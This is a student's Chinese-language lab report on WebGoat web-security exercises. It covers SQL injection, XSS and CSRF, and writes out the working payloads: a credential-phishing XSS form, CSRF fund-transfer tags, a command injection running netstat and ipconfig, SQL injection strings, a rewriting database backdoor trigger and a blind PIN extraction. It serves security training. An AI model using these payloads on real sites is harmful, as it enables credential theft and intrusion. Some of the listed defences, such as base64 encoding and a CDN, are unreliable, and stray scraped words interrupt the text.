20155330 《網絡對抗》 Exp9 web安全基礎實踐

20155330 《網絡對抗》 Exp9 web安全基礎實踐

實驗問題回答

  1. SQL注入攻擊原理,如何防護
    • 原理:SQL注入攻擊值得是經過構建特殊的輸入做爲參數傳入web應用程序,而這些輸入大都是SQL語法裏的一下組合,經過執行SQL語句進執行攻擊者所要的操做,其主要緣由是程序沒有細緻的過濾用戶輸入的數據,導致非法數據侵入系統。
    • 防護方法:
      • 採用sql語句預編譯和綁定變量
      • 採用字符串拼接的方式,嚴格檢查參數的數據類型
      • base64編碼
      • 控制用戶的權限,以及作好數據庫自己的安全工做
  2. XSS攻擊的原理,如何防護
    • 原理:XSS是一種常常出如今web應用中的計算機安全漏洞,它容許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。攻擊者利用XSS漏洞旁路掉訪問控制——例如同源策略(same origin policy)。這種類型的漏洞因爲被黑客用來編寫危害性更大的網絡釣魚(Phishing)攻擊而變得廣爲人知。對於跨站腳本攻擊,黑客界共識是:跨站腳本攻擊是新型的「緩衝區溢出攻擊「,而JavaScript是新型的「ShellCode」。
    • 防護方法:
      • 輸入檢查:檢查用戶輸入的數據中是否包含一些特殊字符,如<、>、'、"等,若是發現存在特殊字符,則將這些字符過濾或者編碼。
      • 搭建CDN,隱藏服務器真實IP
      • 在表單提交或url參數傳遞前,對須要的參數進行過濾
  3. CSRF攻擊原理,如何防護
    • 原理:經過假裝來自受信任用戶的請求來利用受信任的網站。依靠用戶標識危害網站;利用網站對用戶標識的信任;欺騙用戶的瀏覽器發送HTTP請求給目標站點;還能夠經過IMG標籤會觸發一個GET請求,能夠利用它來實現CSRF攻擊。
    • 防護方法:
      • 驗證 HTTP Referer 字段
      • 在請求地址中添加 token 並驗證
      • 在 HTTP 頭中自定義屬性並驗證
      • 對於用戶修改刪除等操做使用 post 操做前端

        實驗總結與體會

此次實驗作的可能是關於Web安全的練習,練習內容比較豐富,主要是SQL注入、CSRF攻擊、XSS攻擊三個部分的內容。經過學習實踐對web開發常見的安全問題有了必定的瞭解。java

實踐過程記錄

WebGoat

  • 終端輸入java -jar webgoat-container-7.0.1-war-exec.jar開啓WebGoat。
  • 直到出現下圖所示內容:
  • 在瀏覽器地址欄輸入localhost:8080/WebGoat打開WebGoat,選擇默認帳號、密碼登錄。
    web

    XSS攻擊

    一、Phishing with XSS 跨站腳本釣魚攻擊

  • 編寫一個包含用戶名、密碼的前端代碼:sql

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
  • 在webgoat找到Cross-Site Scripting(XSS),打開Phishing with XSS
  • 將代碼輸入到框中,點擊search出現登陸框:

  • 輸入用戶名20155330,密碼。
  • 點擊登陸後跳出包含用戶名和密碼的彈框:
    數據庫

    二、Stored XSS Attacks 存儲型XSS攻擊

  • 打開Stored XSS Attacks,在Message框中輸入<script>alert("I am 20155330");</script>提交
  • 點擊提交後彈出顯示I am 20155330的對話框。攻擊成功!
    瀏覽器

    三、Reflected XSS Attacks 反射型XSS攻擊

  • 在code框中輸入<script>alert("I am 20155330");</script>
  • 點擊Purchase出現顯示I am 20155330的對話框。攻擊成功!
    安全

    CSRF攻擊

    四、Cross Site Request Forgery(CSRF)

  • 查看Parameters中的srcmenu的值。
  • 在Title中輸入學號,Message中輸入代碼<img src='attack?Screen=src值&menu=menu值&transferFunds=轉帳數額' width='1' height='1'>
  • 提交後生成連接。
  • 點擊連接查看用戶操做的信息,攻擊成功。
    服務器

    五、CSRF Prompt By-Pass

  • 查看Parameters中的srcmenu的值。在Title中輸入學號,Message中輸入代碼:
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=轉帳數額"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>


  • 提交代碼生成連接。
  • 點擊連接查看用戶操做的信息,攻擊成功。
    網絡

    SQL注入攻擊

    六、Command Injection

  • 使用Firefox瀏覽器中的Firebug功能對源代碼進行修改。在BackDoors.help旁邊加上"& netstat -an & ipconfig"

  • 在下拉菜單中能看到修改後的值
  • 選中修改後的值再點view,能夠看到命令被執行,出現系統網絡鏈接狀況
    xss

    七、Numeric SQL Injection

  • 選中Columbia,點Go,看到該城市的天氣信息。
  • 利用firebug,在任意一個值如101旁邊加上or 1=1
  • 選中Columbia,點Go,能夠看到全部天氣數據:

    八、Log Spoofing

  • User Name文本框中輸入zy%0d%0aLogin Succeeded for username: admin(%0d是回車,%0a是換行符),點擊登陸,攻擊成功。

    九、String SQL Injection

  • 在文本框中輸入' or 1='1。點Go,全部用戶信息被顯示,攻擊成功。

    十、LAB:SQL Injection(Stage 1:String SQL Injection)

  • 以用戶Neville登陸,在密碼欄中輸入' or 1='1進行SQL注入,注入前需對密碼文本框的字符長度進行修改。
  • 登陸成功。

    十一、LAB:SQL Injection(Stage 3:Numeric SQL Injection)

  • 根據Stage1中的登陸方法以用戶名Larry登陸,登陸以後看到瀏覽員工信息的按鈕是ViewProfile。利用Firebug將ViewProfilevalue值改成101 or 1=1 order by salary desc --
  • 查看到老闆信息。

    十二、Database Backdoors

  • 輸入101獲得用戶信息。
  • 輸入注入語句:101; update employee set salary=10000,把該用戶的工資漲到10000:
  • 使用語句101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155330@163.com' WHERE userid = NEW.userid建立一個後門,把表中全部的郵箱和用戶ID都設爲

    1三、Blind Numeric SQL Injection

  • 輸入語句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );查看pin數值是否大於10000
  • 通過不斷嘗試,慢慢縮小範圍,最終能夠肯定pin的值在2300到2400之間。而後再嘗試2300到2350或2350到2400,最後肯定pin值爲2364。

相關文章
相關標籤/搜索